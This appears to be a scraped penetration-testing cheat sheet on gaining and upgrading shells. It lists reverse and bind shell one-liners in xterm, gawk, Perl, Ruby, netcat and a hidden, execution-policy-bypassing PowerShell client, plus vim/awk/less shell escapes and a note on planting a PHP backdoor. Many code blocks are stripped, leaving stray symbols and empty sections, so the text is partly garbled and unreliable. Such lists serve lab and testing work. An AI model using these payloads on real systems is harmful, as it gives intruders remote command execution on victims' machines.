Link to this headingShells
Link to this headingUpgrading simple shells to fully interactive TTYs
| |
Link to this headingBash
Link to this headingTEE
|
Link to this headingxterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorize the target to connect to you (command also run on your host):
xhost +targetip
Link to this headingVIM
- Open vi or vim and type:
:set shell=/bin/bash - Next, type and execute
:shellor:! /bin/bash
Link to this headingAWK
awk 'BEGIN {system("/bin/sh")}'
Link to this headingGAWK
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
Link to this headingFIND
Link to this headingMORE/LESS/MAN
After you use the ‘more’, ‘less’, or ‘man’ command with a file, type ‘!’ followed by a command. For instance, try the following once inside the file:
Link to this headingReverse Shell
;;
Link to this headingPerl
Link to this headingShell
exec "/bin/sh";
Link to this headingReverse Shell
Windows Only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Link to this headingRuby
Link to this headingShell
exec "/bin/sh"
Link to this headingReverse Shell
Windows Only
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Link to this headingNetcat Reverse Shell
Linux:
|
; &&
Windows:
nc -nv 4444 -e cmd.exe
nc -nv {ip} {port} -e cmd.exe
Link to this headingPython
Link to this headingShell
Link to this headingReverse Shell
= ;
=
Link to this headingPHP
Link to this headingShell
#upload the shell (somewhere accessible)
#access the URL where the backdoor is located(http://192.168.230.150:8081/images/shells/backdoor.php)
#then execute
Link to this headingReverse Shell
Link to this headingTelnet Reverse Shell
; &&
| |
Link to this headingJava
Link to this headingShell
r
Link to this headingNetcat
; ; ||
|
; &&
Link to this headingPowershell
Link to this headingReverse Shell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()